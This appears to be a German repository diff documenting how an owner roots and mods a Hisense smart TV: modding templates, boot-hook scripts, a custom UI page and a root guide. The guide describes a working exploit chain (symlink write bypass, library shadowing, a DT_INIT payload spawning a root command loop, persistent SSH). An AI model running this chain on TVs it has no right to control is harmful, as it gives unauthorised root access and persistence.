/3rd_rw/UI/index.html # UI-Seite (PIXI), rw
|
||||||
|
/3rd_rw/UI/{model,sdk,lib,pub,templates,module,assets,language,keyboard,data}
|
||||||
|
/3rd/opera4x/hisenseUI/start-UI.sh # startet hisenseUI (ro)
|
||||||
|
/3rd/UI_jsplugins/ # JS-TV-APIs der UI (ro)
|
||||||
|
|
||||||
|
# Launcher / Apps
|
||||||
|
/3rd_rw/appdata/launcher/preset.txt
|
||||||
|
/3rd_rw/appdata/launcher/Appinfo.json
|
||||||
|
/3rd_rw/appdata/launcher/deletedPresetApp.txt
|
||||||
|
/3rd_rw/appdata/launcher/data/{CategoryIndex.xml,CategoryList_*.xml,Category_*.xml,PicInfo.xml,serviceUpdate.xml}
|
||||||
|
/3rd_rw/appdata/launcher/res/ # Icons
|
||||||
|
/3rd_rw/appdata/launcher/cache/index.json
|
||||||
|
|
||||||
|
# Web-Browser
|
||||||
|
/3rd/opera4x/browser/run-Browser.sh # startet hisense_browser
|
||||||
|
/3rd_rw/opera4x/opera_home_browser/ # Profil (browser.db, opera.json, ...)
|
||||||
|
/3rd/opera4x/opera_dir/jsplugins/ # HiBrowser/JS-APIs des Browsers
|
||||||
|
|
||||||
|
# Native Apps / AM
|
||||||
|
/basic/app_man
|
||||||
|
/basic/am_config
|
||||||
|
/basic/am_start.ini
|
||||||
|
/basic/delayrun.sh
|
||||||
|
/3rd/launcherservice/startLS.sh
|
||||||
|
/3rd/hamservice/startHam.sh
|
||||||
|
/3rd_rw/hamservice/HamService # aktueller Wrapper (SSH/Root-Loop)
|
||||||
|
/3rd_rw/developer.sh # optionaler früher Root-Boot-Hook (Zeile 90)
|
||||||
|
/3rd_rw/patch/opera4x # optionaler Vendor-Overlay (full bind mount)
|
||||||
|
|
||||||
|
# Root/SSH
|
||||||
|
/3rd_rw/appdata/root_loop.sh # Root-Kommandokanal
|
||||||
|
/3rd_rw/appdata/root_proof.txt
|
||||||
|
/3rd_rw/sshd/ # Dropbear, Host-Key, authorized_keys, start_sshd.sh
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Warnungen / Spielregeln
|
||||||
|
|
||||||
|
- **Kein Flash, kein `.pkg`, kein Bootloader.** Der Rootfs und `/3rd` sind squashfs-ro; Änderungen gehören nach `/3rd_rw` (rw), `/data` (rw) oder `/perm` (rw). Für ro-Dateien: **`mount --bind`** aus `/3rd_rw` (kein overlayfs im Kernel).
|
||||||
|
- **Backup vor jedem UI-/Launcher-/AM-Eingriff.** Besonders `/3rd_rw/UI/index.html`, `/3rd_rw/appdata/launcher/*`, `/basic/am_config`/`am_start.ini` (Kopien nach `/3rd_rw/backup/`).
|
||||||
|
- **SSH/Root als Rettungsweg behalten.** Das UI kann durch eine kaputte Seite schwarz werden; der `hisenseUI`-Prozess lässt sich per SSH/root-Loop killen und neu starten, die Seite aus dem Backup zurückholen.
|
||||||
|
- **`developer.sh` ist ein früher Root-Hook** (vor `ms_service`, `hisenseUI`, `app_man`, `delayrun`). Ein Fehler dort kann den Boot/UI beeinflussen; immer mit `set -x`/Log und Fallback (SSH/Web-Browser) arbeiten.
|
||||||
|
- **`/3rd_rw/patch/opera4x` ist ein full bind mount** über `/3rd/opera4x`: Es ersetzt das ganze Verzeichnis. Nur mit vollständiger Kopie oder Symlink-Baum verwenden; für einzelne Dateien lieber `developer.sh` + Datei-Bind-Mount.
|
||||||
|
- **Kein Package Manager:** Keine `opkg`/`apt`-Pakete; statische ARM-Binaries bauen/testen; die TV-glibc ist 2.18, der Kernel 3.18.
|
||||||
|
- **`/dev` ist statisch/ro (kein devtmpfs);** PTYs brauchen den devpts-Workaround (`/dev/shm/pts` → bind `/dev/pts`); siehe Root-Guide/`06`.
|
||||||
|
- **Keine Secrets in diesem Ordner:** Kein Root-Hash, kein privater SSH-Key; nur Public Key/Host-Fingerprint.
|
||||||
|
- **Kein Internet-Exposure:** Der TV ist im LAN; SSH ist key-only root; nicht ins Internet weiterleiten.
|
||||||
|
- **Getestet vs. ungetestet:** Root/SSH/PTY sind live bestätigt; die UI-/Bloat-/Custom-UI-Rezepte sind aus statischen/live Daten abgeleitet und **noch nicht alle ausgeführt** (Status in `07`). Erst eine Änderung, dann testen, dann die nächste.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Kurz: der rote Faden
|
||||||
|
|
||||||
|
```
|
||||||
|
USB-ext4 + tvi-Symlink
|
||||||
|
→ libtvsysinfo-Shadow (Index 17) → DT_INIT root
|
||||||
|
→ Root-Loop → SSH (Dropbear, key-only)
|
||||||
|
→ /3rd_rw/developer.sh (früh) oder HamService-Wrapper (spät)
|
||||||
|
→ UI/App-Daten/Services anpassen
|
||||||
|
→ /3rd_rw/UI (UI-Seite), /3rd_rw/appdata/launcher (Tiles),
|
||||||
|
/basic/am_config|am_start (native Apps), delayrun (Services)
|
||||||
|
```
|
||||||
|
|
||||||
|
Viel Spaß beim Modden — und immer schön backupen. :)
|
||||||
|
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Wo liegen die Root-/Deploy-Skripte?
|
||||||
|
|
||||||
|
Alles im Schwester-Ordner `../root/`:
|
||||||
|
|
||||||
|
- `../root/tools/pub/` — ausgelieferte Dateien (Payload, Dropbear, Keys, TV-Skripte)
|
||||||
|
- `../root/scripts/host/` — USB, Server, Payload-Plant, Upload, Root-CMD, Builds, `install_sftp.sh`/`build_sftp_server.sh`
|
||||||
|
- `../root/scripts/tv/` — `start_sshd.sh`, `root_loop.sh`, `hamservice-wrapper.sh`, `deploy_sshd.sh`, `verify.sh`, `rollback.sh`, `install_sftp_stage.sh`/`enable_sftp.sh`/`swap_sftp.sh`
|
||||||
|
- `../root/ROOT-GUIDE.md` — der komplette Root-Weg
|
||||||
|
|
||||||
|
Die Modding-Rezepte in `04-modding.md` nutzen diese Skripte/Templates, aber du kannst alles auch manuell per SSH/Recon-Seite machen. Nichts hier erfordert den alten Run-Ordner.
|
||||||
@@ -0,0 +1,43 @@
|
|||||||
|
# Templates — kurz erklärt
|
||||||
|
|
||||||
|
| Datei | Ziel |
|
||||||
|
|---|---|
|
||||||
|
| `developer.sh` | früher Root-Boot-Hook (`/3rd_rw/developer.sh`), Beispiele für Binds/Stubs/Services |
|
||||||
|
| `custom-app.json` | `AppInfo`-Eintrag für eine eigene App-Tile (`Appinfo.json`) |
|
||||||
|
| `hide-preset.json` | `deletedPresetApp.txt`-Beispiel (Tiles ausblenden) |
|
||||||
|
| `custom-ui.html` | minimale Custom-UI-Seite (`/3rd_rw/UI/custom.html`) |
|
||||||
|
| `start-UI-custom.sh` | `start-UI.sh`-Klon, lädt `custom.html` |
|
||||||
|
|
||||||
|
## Nutzung
|
||||||
|
|
||||||
|
```sh
|
||||||
|
# 1) developer.sh (optional, früh)
|
||||||
|
cp developer.sh /3rd_rw/developer.sh
|
||||||
|
chmod 755 /3rd_rw/developer.sh
|
||||||
|
# Beispiele in der Datei einkommentieren; reboot
|
||||||
|
|
||||||
|
# 2) App-Tile
|
||||||
|
# custom-app.json-Inhalt in /3rd_rw/appdata/launcher/Appinfo.json mergen
|
||||||
|
# (bestehende AppInfo-Einträge behalten!)
|
||||||
|
# UI neu starten / reboot
|
||||||
|
|
||||||
|
# 3) Tiles ausblenden
|
||||||
|
cp hide-preset.json /3rd_rw/appdata/launcher/deletedPresetApp.txt
|
||||||
|
# anpassen; UI neu starten / reboot
|
||||||
|
|
||||||
|
# 4) Custom-UI
|
||||||
|
cp custom-ui.html /3rd_rw/UI/custom.html
|
||||||
|
cp start-UI-custom.sh /3rd_rw/patch/start-UI-custom.sh
|
||||||
|
chmod 755 /3rd_rw/patch/start-UI-custom.sh
|
||||||
|
# in /3rd_rw/developer.sh:
|
||||||
|
# mount --bind /3rd_rw/patch/start-UI-custom.sh /3rd/opera4x/hisenseUI/start-UI.sh
|
||||||
|
# reboot
|
||||||
|
```
|
||||||
|
|
||||||
|
## Wichtig
|
||||||
|
|
||||||
|
- **Backup** vor jeder Änderung: `/3rd_rw/backup/`.
|
||||||
|
- **SSH/Root-Loop** als Rettungsweg behalten; bei schwarzem Bildschirm `UI/index.html`-Backup zurück, `hisenseUI` neu starten.
|
||||||
|
- **API-Namen** (`Hisense_StartApp`, `TVAPI`, `guijs`) sind `UNVERIFIED`; im UI-DevTools (9223) / Web-Browser (9224) prüfen.
|
||||||
|
- **Kein Flash**: alles in `/3rd_rw`/Bind-Mounts; Rollback per Datei/`umount`/Reboot.
|
||||||
|
- **`hide-preset.json`** ist ein Vollbeispiel (inkl. `TV Browser`/`vidaa-plus`); kürze es auf das, was du wirklich ausblenden willst. `VidaaRecon` nicht ausblenden, wenn du die Recon-Seite brauchst.
|
||||||
@@ -0,0 +1,19 @@
|
|||||||
|
{
|
||||||
|
"AppInfo": [
|
||||||
|
{
|
||||||
|
"AppId": "MyApp",
|
||||||
|
"Thumb": "file:///3rd_rw/appdata/custom/icon.png",
|
||||||
|
"Icon_96": "file:///3rd_rw/appdata/custom/icon.png",
|
||||||
|
"Image": "file:///3rd_rw/appdata/custom/icon.png",
|
||||||
|
"URL": "file:///3rd_rw/appdata/custom/index.html",
|
||||||
|
"AppName": "MyApp",
|
||||||
|
"Title": "MyApp",
|
||||||
|
"IconURL": "file:///3rd_rw/appdata/custom/icon.png",
|
||||||
|
"StartCommand": "file:///3rd_rw/appdata/custom/index.html",
|
||||||
|
"InstallTime": "2026-10-26",
|
||||||
|
"RunTimes": 0,
|
||||||
|
"StoreType": "foxxum",
|
||||||
|
"PreInstall": false
|
||||||
|
}
|
||||||
|
]
|
||||||
|
}
|
||||||
@@ -0,0 +1,76 @@
|
|||||||
|
<!doctype html>
|
||||||
|
<html>
|
||||||
|
<head>
|
||||||
|
<meta charset="utf-8">
|
||||||
|
<meta name="viewport" content="width=1280,height=720">
|
||||||
|
<title>My TV</title>
|
||||||
|
<style>
|
||||||
|
html, body { margin:0; width:100%; height:100%; background:#0b0b0b; color:#eee;
|
||||||
|
font-family: -apple-system, "Segoe UI", Roboto, sans-serif; overflow:hidden; }
|
||||||
|
.wrap { padding:2.2vw; }
|
||||||
|
h1 { font-size:2.8vw; margin:0 0 1.2vw 0; font-weight:300; letter-spacing:.04em; }
|
||||||
|
.row { display:flex; gap:1vw; flex-wrap:wrap; }
|
||||||
|
button { font-size:1.25vw; padding:1vw 1.5vw; border-radius:.55vw;
|
||||||
|
border:1px solid #444; background:#1b1b1b; color:#eee; cursor:pointer; }
|
||||||
|
button:hover { background:#2a2a2a; }
|
||||||
|
pre { margin-top:1.5vw; font-size:.95vw; color:#8f8; white-space:pre-wrap; }
|
||||||
|
.hint { color:#888; font-size:1vw; margin-top:1.5vw; }
|
||||||
|
</style>
|
||||||
|
</head>
|
||||||
|
<body>
|
||||||
|
<div class="wrap">
|
||||||
|
<h1>My TV</h1>
|
||||||
|
<div class="row">
|
||||||
|
<button onclick="launch('dtv_app_mtk')">TV</button>
|
||||||
|
<button onclick="launch('netflix')">Netflix</button>
|
||||||
|
<button onclick="launch('youtube')">YouTube</button>
|
||||||
|
<button onclick="launch('opera4x')">TV Browser</button>
|
||||||
|
<button onclick="launch('factory_lite')">Factory</button>
|
||||||
|
<button onclick="probe()">APIs</button>
|
||||||
|
</div>
|
||||||
|
<pre id="out">ready.</pre>
|
||||||
|
<div class="hint">
|
||||||
|
Custom-UI-Template. API-Namen/Signaturen sind UNVERIFIED — im UI-DevTools (9223)
|
||||||
|
bzw. im Web-Browser (9224) prüfen. Kein Shell-Zugriff aus JS; dafür Root-Loop/SSH.
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<script>
|
||||||
|
function out(o){ document.getElementById('out').textContent = JSON.stringify(o,null,2); }
|
||||||
|
|
||||||
|
function launch(id){
|
||||||
|
var o = {app:id};
|
||||||
|
try {
|
||||||
|
// UI context (hisenseUI / UI_jsplugins)
|
||||||
|
if (typeof Hisense_StartApp === 'function') {
|
||||||
|
Hisense_StartApp(':am,' + id + ',:start=' + id);
|
||||||
|
o.via = 'Hisense_StartApp';
|
||||||
|
} else if (typeof HiBrowser !== 'undefined' && HiBrowser && HiBrowser.System) {
|
||||||
|
// web-browser context (hisense_browser / libhspdk-jsx)
|
||||||
|
HiBrowser.System.startApp(':am,' + id + ',:start=' + id);
|
||||||
|
o.via = 'HiBrowser.System.startApp';
|
||||||
|
} else if (typeof TVAPI !== 'undefined' && TVAPI && TVAPI.StartApp) {
|
||||||
|
TVAPI.StartApp(id);
|
||||||
|
o.via = 'TVAPI.StartApp';
|
||||||
|
} else if (typeof guijs !== 'undefined' && guijs && guijs.StartApp) {
|
||||||
|
guijs.StartApp(id);
|
||||||
|
o.via = 'guijs.StartApp';
|
||||||
|
} else {
|
||||||
|
o.via = 'none';
|
||||||
|
o.note = 'No start API found; see 03-ui.md / DevTools.';
|
||||||
|
}
|
||||||
|
} catch(e) { o.err = String(e); }
|
||||||
|
out(o);
|
||||||
|
}
|
||||||
|
|
||||||
|
function probe(){
|
||||||
|
var o = {};
|
||||||
|
['Hisense_StartApp','HiBrowser','TVAPI','guijs','model','UI'].forEach(function(k){
|
||||||
|
try { o[k] = (typeof window[k] !== 'undefined') ? typeof window[k] : 'undefined'; }
|
||||||
|
catch(e){ o[k] = String(e); }
|
||||||
|
});
|
||||||
|
o.href = location.href;
|
||||||
|
out(o);
|
||||||
|
}
|
||||||
|
</script>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
@@ -0,0 +1,63 @@
|
|||||||
|
#!/bin/sh
|
||||||
|
# /3rd_rw/developer.sh
|
||||||
|
#
|
||||||
|
# EARLY root boot hook. Called by /basic/autorun.sh at line ~90, i.e. BEFORE:
|
||||||
|
# ms_service (162) -> hisenseUI (168) -> app_man (177) -> delayrun (190)
|
||||||
|
#
|
||||||
|
# Use it for:
|
||||||
|
# - bind-mounting modified /basic/am_start.ini, am_config, delayrun.sh
|
||||||
|
# - stubbing unwanted services (ms_service, start-UI.sh, ...)
|
||||||
|
# - starting your own root service
|
||||||
|
# - starting root_loop/sshd earlier than the late HamService wrapper
|
||||||
|
#
|
||||||
|
# Keep it idempotent and log everything. If it breaks the UI/AM, remove it via
|
||||||
|
# SSH/root_loop and reboot.
|
||||||
|
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/basic/bin
|
||||||
|
export PATH
|
||||||
|
|
||||||
|
# Everything to a log (comment out for serial/debug)
|
||||||
|
exec >>/3rd_rw/developer.log 2>&1
|
||||||
|
echo "=== developer.sh $(date) boot=$(cat /proc/sys/kernel/random/boot_id 2>/dev/null) ==="
|
||||||
|
# set -x
|
||||||
|
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
# 1) Your own root service
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
# mkdir -p /3rd_rw/bin
|
||||||
|
# /3rd_rw/bin/mydaemon &
|
||||||
|
# echo "mydaemon started: $!"
|
||||||
|
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
# 2) Replace a ro config BEFORE app_man reads it (am_start/am_config)
|
||||||
|
# Put modified copies under /3rd_rw/etc/.
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
# mount --bind /3rd_rw/etc/am_start.ini /basic/am_start.ini
|
||||||
|
# mount --bind /3rd_rw/etc/am_config /basic/am_config
|
||||||
|
# echo "am configs bound"
|
||||||
|
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
# 3) Replace a ro service script/binary BEFORE autorun runs it.
|
||||||
|
# Example: stub ms_service (autorun line 162)
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
# mkdir -p /3rd_rw/stubs
|
||||||
|
# printf '#!/bin/sh\nexit 0\n' > /3rd_rw/stubs/true
|
||||||
|
# chmod 755 /3rd_rw/stubs/true
|
||||||
|
# mount --bind /3rd_rw/stubs/true /3rd/ms-screen/ms_service
|
||||||
|
# echo "ms_service stubbed"
|
||||||
|
|
||||||
|
# Example: custom UI start script (autorun line 168)
|
||||||
|
# mount --bind /3rd_rw/patch/start-UI-custom.sh /3rd/opera4x/hisenseUI/start-UI.sh
|
||||||
|
# echo "custom start-UI bound"
|
||||||
|
|
||||||
|
# Example: modified delayrun (autorun line 190)
|
||||||
|
# mount --bind /3rd_rw/etc/delayrun.sh /basic/delayrun.sh
|
||||||
|
# echo "delayrun bound"
|
||||||
|
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
# 4) Start root loop / SSH earlier (optional; the HamService wrapper also does)
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
# /bin/sh /3rd_rw/appdata/root_loop.sh &
|
||||||
|
# [ -x /3rd_rw/sshd/start_sshd.sh ] && /bin/sh /3rd_rw/sshd/start_sshd.sh &
|
||||||
|
|
||||||
|
echo "=== developer.sh done ==="
|
||||||
|
exit 0
|
||||||
@@ -0,0 +1,27 @@
|
|||||||
|
[
|
||||||
|
"netflix",
|
||||||
|
"amazon",
|
||||||
|
"youtube",
|
||||||
|
"browser",
|
||||||
|
"vidaa-plus",
|
||||||
|
"accuweather",
|
||||||
|
"https://cd-dmgz.bamgrid.com/bbd/hisense_tv/index.html",
|
||||||
|
"http://8577004de253-ott-tv.maxdome.de",
|
||||||
|
"https://prod-hisense-ui40-app.rakuten.tv/",
|
||||||
|
"https://tvapp.rlaxxtv.com/r/no-animations/720/?customer=Hisense",
|
||||||
|
"https://hisense.chili.com",
|
||||||
|
"https://smarttv.uefa.tv",
|
||||||
|
"https://app.hisense.rtl-smart.tv/",
|
||||||
|
"https://ctv-vewd.kidoodle.tv",
|
||||||
|
"http://www.yupptv.com/hisense/index.html",
|
||||||
|
"http://plex.tv/web/tv/hisense?mixedContent=1",
|
||||||
|
"https://smarttv3.videociety.de",
|
||||||
|
"http://apps.tvgam.es/tv_games/hisense_portal/production/portal/index.html",
|
||||||
|
"http://2897431816.fxm3751860294.com/?category=apps",
|
||||||
|
"http://2897431816.fxm3751860294.com/?category=movies",
|
||||||
|
"http://2897431816.fxm3751860294.com/?category=catchup",
|
||||||
|
"http://2897431816.fxm3751860294.com/?category=news",
|
||||||
|
"http://2897431816.fxm3751860294.com/?category=music",
|
||||||
|
"http://2897431816.fxm3751860294.com/?category=sport",
|
||||||
|
"http://2897431816.fxm3751860294.com/?category=search"
|
||||||
|
]
|
||||||
@@ -0,0 +1,42 @@
|
|||||||
|
#!/bin/sh
|
||||||
|
# custom start-UI: same runtime as the stock start-UI.sh, but loads
|
||||||
|
# /3rd_rw/UI/custom.html instead of /3rd_rw/UI/index.html.
|
||||||
|
#
|
||||||
|
# Install (safe, file-level bind mount) via /3rd_rw/developer.sh:
|
||||||
|
# mkdir -p /3rd_rw/patch
|
||||||
|
# cp this file /3rd_rw/patch/start-UI-custom.sh
|
||||||
|
# chmod 755 /3rd_rw/patch/start-UI-custom.sh
|
||||||
|
# mount --bind /3rd_rw/patch/start-UI-custom.sh /3rd/opera4x/hisenseUI/start-UI.sh
|
||||||
|
#
|
||||||
|
# Or use the vendor full overlay /3rd_rw/patch/opera4x (see 04-modding.md, E.2).
|
||||||
|
set -e
|
||||||
|
cd /3rd/opera4x/hisenseUI
|
||||||
|
. ./opera_env.sh
|
||||||
|
|
||||||
|
export MEMORY_LIMIT=$(( 500*1024*1024 ))
|
||||||
|
STARTPAGE="file:///3rd_rw/UI/custom.html"
|
||||||
|
|
||||||
|
if [ -x /etc/scripts/ins_arm_mali_mod.sh ]; then
|
||||||
|
/etc/scripts/ins_arm_mali_mod.sh
|
||||||
|
fi
|
||||||
|
|
||||||
|
export LD_PRELOAD="/3rd/opera4x/lib/libcurl.so.4.4.0"
|
||||||
|
|
||||||
|
cmd="./bin/hisenseUI"
|
||||||
|
cmd+=" --hw-gles"
|
||||||
|
cmd+=" --js-flags=\"--expose-gc\""
|
||||||
|
cmd+=" --jsplugins-dir=/3rd/UI_jsplugins"
|
||||||
|
cmd+=" --enable-gpu-rasterization"
|
||||||
|
cmd+=" --force-gpu-rasterization"
|
||||||
|
cmd+=" --force-gpu-mem-available-mb=512"
|
||||||
|
cmd+=" --disable-software-rasterizer"
|
||||||
|
cmd+=" --disable-web-security"
|
||||||
|
cmd+=" --http-cache-size=30"
|
||||||
|
cmd+=" -u ${STARTPAGE}"
|
||||||
|
|
||||||
|
if [ -e /3rd_rw/appdata/enable_developer_tools ]; then
|
||||||
|
cmd+=" --remote-debugging-port=9223"
|
||||||
|
fi
|
||||||
|
|
||||||
|
cmd+=" $@"
|
||||||
|
exec $cmd
|
||||||
@@ -0,0 +1,61 @@
|
|||||||
|
# root/ — finale Root-Abteilung
|
||||||
|
|
||||||
|
**Vollständiger Weg:** [`ROOT-GUIDE.md`](ROOT-GUIDE.md)
|
||||||
|
**Kurz:** `tools/pub/` = ausgelieferte Dateien; `scripts/host/` = Host-Helfer; `scripts/tv/` = TV-Skripte; `artifacts/` = Original-Lib, Keys, Fingerprint.
|
||||||
|
|
||||||
|
## Die Schritte
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Host
|
||||||
|
sudo root/scripts/host/prepare_usb.sh /dev/sdX # ext4/MBR + tvi-Symlink
|
||||||
|
root/scripts/host/start_http.sh # :9000
|
||||||
|
# TV: http://<host-ip>:9000/recon.html
|
||||||
|
# TV-Konsole: root/scripts/host/plant_payload.js # USB-Dev anpassen
|
||||||
|
# reboot
|
||||||
|
# TV-Konsole nach Boot: root/scripts/host/upload_to_appdata.js
|
||||||
|
# TV-Konsole: root/scripts/host/run_root_cmd.js # deploy_sshd.sh
|
||||||
|
ssh root@192.168.188.94
|
||||||
|
|
||||||
|
# optional: SFTP (key-only, nach dem SSH-Setup)
|
||||||
|
root/scripts/host/install_sftp.sh
|
||||||
|
sftp root@192.168.188.94
|
||||||
|
```
|
||||||
|
|
||||||
|
## Dateien
|
||||||
|
|
||||||
|
| Pfad | Zweck |
|
||||||
|
|---|---|
|
||||||
|
| `tools/pub/libtvsysinfo.so` | finaler Payload (33.500 B, SHA `37b13f…`) |
|
||||||
|
| `tools/pub/dropbear`, `dropbearkey` | statischer ARM-Dropbear 2022.83, key-only |
|
||||||
|
| `tools/pub/dropbear-sftp` | Dropbear mit `SFTPSERVER_PATH=/3rd_rw/sshd/sftp-server` |
|
||||||
|
| `tools/pub/sftp-server` | statischer OpenSSH-9.9p1-sftp-server (ARM) |
|
||||||
|
| `tools/pub/authorized_keys` | dein Public Key |
|
||||||
|
| `tools/pub/start_sshd.sh` | Dropbear + passwd-/PTY-Bindmounts |
|
||||||
|
| `tools/pub/root_loop.sh` | Root-Kommandokanal |
|
||||||
|
| `tools/pub/hamservice-wrapper.sh` | Boot-Hook (HamService) |
|
||||||
|
| `tools/pub/deploy_sshd.sh` | Installiert SSH/Persistenz (als root) |
|
||||||
|
| `tools/pub/verify.sh` | Health-Check |
|
||||||
|
| `tools/pub/rollback.sh` | Rückbau |
|
||||||
|
| `scripts/host/prepare_usb.sh` | USB ext4/MBR + Symlinks |
|
||||||
|
| `scripts/host/start_http.sh` | Server/Recon |
|
||||||
|
| `scripts/host/plant_payload.js` | Payload durch `tvi` schreiben |
|
||||||
|
| `scripts/host/upload_to_appdata.js` | Dropbear/Deploy-Dateien hochladen |
|
||||||
|
| `scripts/host/run_root_cmd.js` | `root_cmd.sh` schreiben / `root_out` lesen |
|
||||||
|
| `scripts/host/build_payload.sh` | Payload reproduzieren |
|
||||||
|
| `scripts/host/build_dropbear.sh` | Dropbear aus `sources/` bauen |
|
||||||
|
| `scripts/host/build_sftp_server.sh` | statischen `sftp-server` bauen |
|
||||||
|
| `scripts/host/patch_dropbear_sftp.py` | `dropbear-sftp` erzeugen |
|
||||||
|
| `scripts/host/install_sftp.sh` | SFTP installieren/testen/auf 22 tauschen |
|
||||||
|
| `scripts/tv/install_sftp_stage.sh` | SFTP-Binaries + Test-Dropbear auf 2222 |
|
||||||
|
| `scripts/tv/enable_sftp.sh` | Tausch auf 22 planen |
|
||||||
|
| `scripts/tv/swap_sftp.sh` | Tausch detached ausführen |
|
||||||
|
| `artifacts/tvi_original.so` | Original-Lib (33.220 B) |
|
||||||
|
| `artifacts/keys/authorized_keys` | Public Key |
|
||||||
|
| `artifacts/keys/host-key-fingerprint.txt` | `SHA256:7tFL…` |
|
||||||
|
|
||||||
|
**Keine Secrets:** kein Root-Hash, kein privater SSH-Key.
|
||||||
|
|
||||||
|
**Status:** Root + SSH + PTY live bestätigt; Boot-Persistenz installiert
|
||||||
|
(Reboot-Test offen). SFTP optional: statischer OpenSSH-sftp-server + gepatchter
|
||||||
|
Dropbear; Installer testet Port 2222, dann 22. Details/Verifikation im
|
||||||
|
`ROOT-GUIDE.md`, Modding in `../modding/`.
|
||||||
@@ -0,0 +1,540 @@
|
|||||||
|
# ROOT-GUIDE — Hisense HE40E5600FFWTS (V0100.01.00A.N0410)
|
||||||
|
|
||||||
|
**Finaler, replizierbarer Root-Weg.** Kein Flash, kein `.pkg`, kein UART, kein Öffnen des TVs.
|
||||||
|
**Ziel-TV:** Hisense HE40E5600FFWTS, FW `V0100.01.00A.N0410`, LAN `192.168.188.94`
|
||||||
|
**Host:** Linux mit Python 3, `arm-linux-gnueabihf-*`, optional `qemu-arm`; Host-IP im Beispiel `192.168.188.150`
|
||||||
|
**Stand:** 2026-10-26 — Root + Dropbear-SSH (key-only) + PTY live bestätigt; Boot-Persistenz installiert (Reboot-Test offen).
|
||||||
|
|
||||||
|
Dieser Ordner ist **self-contained**: Payload, Original-Lib, Dropbear-Binaries, Host-/TV-Skripte, Public Key, Host-Key-Fingerprint, Build-Skripte und die Doku liegen hier. Du musst nicht durch den alten Run-Ordner suchen. Die alte `docs/re/...`-Ablage ist nur noch Evidence/Provenienz.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 0. Ergebnis
|
||||||
|
|
||||||
|
Beim Boot lädt `hisense_browser` (UID 0, Single-Process, `CapEff=0000003fffffffff`) eine präparierte **`libtvsysinfo.so`** aus `/3rd_rw/loglevel/lib`. Der angehängte `DT_INIT` läuft als root, schreibt den Proof, startet die Root-Loop und ruft danach den Original-Init auf. Über den `HamService`-Wrapper starten Root-Loop und Dropbear bei jedem Boot. SSH ist **key-only**; Login als `root` gibt eine echte Root-Shell mit PTY.
|
||||||
|
|
||||||
|
Beweis (live):
|
||||||
|
|
||||||
|
```
|
||||||
|
/3rd_rw/root_proof.txt = ROOT_EXEC_TVI
|
||||||
|
uid=0(root) gid=0(root)
|
||||||
|
Uid: 0 0 0 0 Gid: 0 0 0 0 CapEff: 0000003fffffffff
|
||||||
|
```
|
||||||
|
|
||||||
|
**Optional SFTP:** Dropbear bringt keinen eigenen `sftp-server` mit. Im Ordner
|
||||||
|
liegen ein **statischer OpenSSH-9.9p1-sftp-server** und ein Dropbear mit
|
||||||
|
`SFTPSERVER_PATH=/3rd_rw/sshd/sftp-server`; `root/scripts/host/install_sftp.sh`
|
||||||
|
installiert beides (Test auf 2222, dann Tausch auf 22). Danach:
|
||||||
|
`sftp root@192.168.188.94`. Siehe 9.4.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 1. Die Kette (warum das geht)
|
||||||
|
|
||||||
|
1. **Browser ist root.** `hisense_browser` läuft als UID/GID 0, `CapEff` voll, Single-Process, kein Seccomp/NoNewPrivs. JS im Browser ist root-equivalent.
|
||||||
|
2. **USB-Schreibprimitive.** `HSJSX_File::IsSubDentry` prüft `realpath` + Präfix gegen `/3rd_rw/appdata`, `/dev/shm/shm_tmp`, `/3rd/launcher/data`. Ein **dangling Symlink** auf einem ext4-USB lässt `realpath` am fehlenden Ziel scheitern; der Elternpfad `/dev/shm/shm_tmp/mnt/usb/<dev>` ist erlaubt. `fopen` folgt dem Symlink und legt die Zieldatei als root an. Damit sind **neue Root-Dateien** überall anlegbar.
|
||||||
|
3. **Loader-Shadow.** `hisense_browser` hat `libtvsysinfo.so` als direktes `NEEDED`; `DT_RPATH=/lib/`, dort liegt sie nicht. `LD_LIBRARY_PATH`-Index 17 ist `/3rd_rw/loglevel/lib` — das erste Verzeichnis, das die Lib liefern kann. Die dort per Symlink-Bypass abgelegte `libtvsysinfo.so` wird beim nächsten Browser-Start geladen.
|
||||||
|
4. **DT_INIT-Payload.** Die echte `libtvsysinfo.so` wird um Code am Dateiende erweitert (RX-LOAD `p_filesz/memsz` mit erweitert); `DT_INIT` zeigt auf den neuen Code. Der Code:
|
||||||
|
- `unlink` der eigenen Datei (Selbstschutz),
|
||||||
|
- schreibt `/3rd_rw/root_proof.txt`,
|
||||||
|
- `fork` + `execve("/bin/sh", ["/bin/sh", "/3rd_rw/appdata/root_loop.sh"], NULL)`,
|
||||||
|
- ruft den Original-`DT_INIT` per PC-relativem `bl` auf,
|
||||||
|
- kehrt zum Loader zurück.
|
||||||
|
5. **Root-Loop.** `/3rd_rw/appdata/root_loop.sh` läuft als root, liest `root_cmd.sh`, führt sie aus und schreibt `root_out.txt`.
|
||||||
|
6. **SSH-Persistenz.** `/3rd_rw/hamservice/HamService` ist ein Wrapper: startet Root-Loop + Dropbear, führt danach das echte `/3rd/hamservice/HamService` aus. `startHam.sh` ruft ihn beim Boot als root auf. Dropbear nutzt ein bind-gemountetes `/etc/passwd` (Root-Home `/3rd_rw/sshd/home`) und `~/.ssh/authorized_keys`. PTYs kommen aus einem devpts-Mount auf `/dev/shm/pts`, der auf `/dev/pts` gebindet wird.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 2. Ordner / Artefakte
|
||||||
|
|
||||||
|
```
|
||||||
|
root/
|
||||||
|
ROOT-GUIDE.md # diese Datei
|
||||||
|
README.md # kurzer Index
|
||||||
|
tools/
|
||||||
|
server.py # Host: recon.html + /pub + /cmd + /recon + /dump
|
||||||
|
